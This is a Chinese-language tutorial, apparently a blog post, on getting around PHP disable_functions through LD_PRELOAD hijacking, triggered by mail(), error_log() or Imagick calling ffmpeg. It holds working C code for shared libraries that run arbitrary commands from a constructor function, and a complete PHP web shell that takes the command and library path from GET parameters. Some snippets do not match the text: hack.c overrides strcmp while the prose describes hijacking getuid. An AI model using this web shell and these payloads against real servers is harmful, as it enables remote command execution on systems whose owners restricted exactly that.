Bypass disabled_functions
LD_PRELOAD的理解
LD_PRELOAD是Linux系统下的环境变量:它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。简单的说,可以注入自己的代码,覆盖原有代码。也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD
来设置它优先加载我们编写的程序,实现劫持。
实例
id.c
#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>
uid_t geteuid( void ) { return 0; }
uid_t getuid( void ) { return 0; }
uid_t getgid( void ) { return 0; }
再将它加入动态链接库中
可以发现uid
和gid
都变为了0,权限也变为了root
。
我们可以用ldd查询一下依赖关系,发现id.so
在其它动态链接库之前提前被加载了,也就是说我们的恶意代码中的函数覆盖了原本的动态链接库的函数。
劫持getuid()
这个前提是在Linux中已经安装并且启用了sendmail
程序。
putenv(string $setting):bool
:添加setting到环境变量。环境变量仅存活于当前请求期间。在请求结束时环境会恢复到初始状态。
我们这里写一个demo
<?php
mail('a','b','c','d');
?>
调用过程分析
查看mail()
运行的新进程,第一个execve
是启动PHP解释器而已,除此之外必须找到第二个execve
,没有则说明并未启动新进程;这里第二个和第三个都是直接或间接调用系统sendmail
程序。还有就是,通过/bin/sh方式调用sendmail
的execve
,我们在看/bin/sh程序调用哪些API时发现其实它也是调用了getuid()
,所以即使未安装或开启sendmail
程序,我们任然可以通过mail()
函数来出发调用了/bin/sh程序的execve
,从而调用getuid()
达到执行劫持函数的目的。
先调用如下命令查看sendmail
程序可能调用的系统API明细:
但是由于程序运行时会根据命令行选项、运行环境做出不同反应,导致真正运行时调用的API可能只是readelf
查看的子集,通过如下命令跟踪查看sendmail
程序的实际API调用情况:
可以看到sendmail
程序确实调用了getuid()
函数。接着再查看函数原型:
攻击利用
先新建一个文件test.txt
,再写一个hack.c
。
#include<stdio.h>
#include<string.h>
int strcmp(const char *s1,const char *s2){
printf("hack function invoked.s1=<%s> s2=<%s>/n",s1,s2);
return 0;
}
当这个共享库中的getuid()
被调用时,尝试加载payload()
函数,执行命令。
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
再将hack.so
上传至共享链接库。再写一个mail.php
进行测试。
如果mail()
函数被禁了的话,也可以使用error_log()
函数,因为在调用error_log
的过程中,也会调用sendmail
。
函数寻找
如果mail()
被限制,我们得找到一个能再运行时候启动子进程得函数,因为我们设置了环境变量,必须restart
才能生效,所以如果能启动一个子进程,那么我们设置得LD_PRELOAD
就会加载我们的so文件。
劫持启动进程
系统通过LD_PRELOAD
预先加载共享对象,如果能找到一个方式,在加载的时候就能执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖sendmail
了(或其它函数),这就相当于C++的构造函数类似。
GCC有个c语言拓展修饰符__attribute__((constructor))
,可以让由它修饰的函数在main()
之前执行,若它出现在共享对象中,那么一旦共享对象被系统加载,将立即执行__attribute__((constructor))
修饰的函数。另外,我们通过LD_PRELOAD
劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消LD_PRELOAD
,则将陷入无限循环,所以必须得删除环境变量LD_PRELOAD
,最直观得做法是调用unsetenc("LD_PRELOAD")
。而更加直接的删除环境变量的方式是extern char** environ
。
攻击利用
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
再编译c文件为共享对象文件:
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
bypass_disablefunc.php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
ImageMagick
当 Imagick 处理的文件是如下后缀的时候,就会调用外部程序 ffmpeg 去处理该文件:
wmv mov m4v m2v mp4 mpg mpeg mkv avi 3g2 3gp
demo.php
<?php
$img = new Imagick('img.mp4'); //img.mp4文件必须存在,否则就会不去调用ffmpeg
?>
我们再strace一下可以发现再执行得过程中调用了ffmpeg
。
与__attrobute__
一起使用:
poc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls > test");
}
然后生成动态链接程序
img.php
<?php
putenv("LD_PRELOAD=./poc.so");
$img = new Imagick('img.mp4');
?>
再执行这个文件即可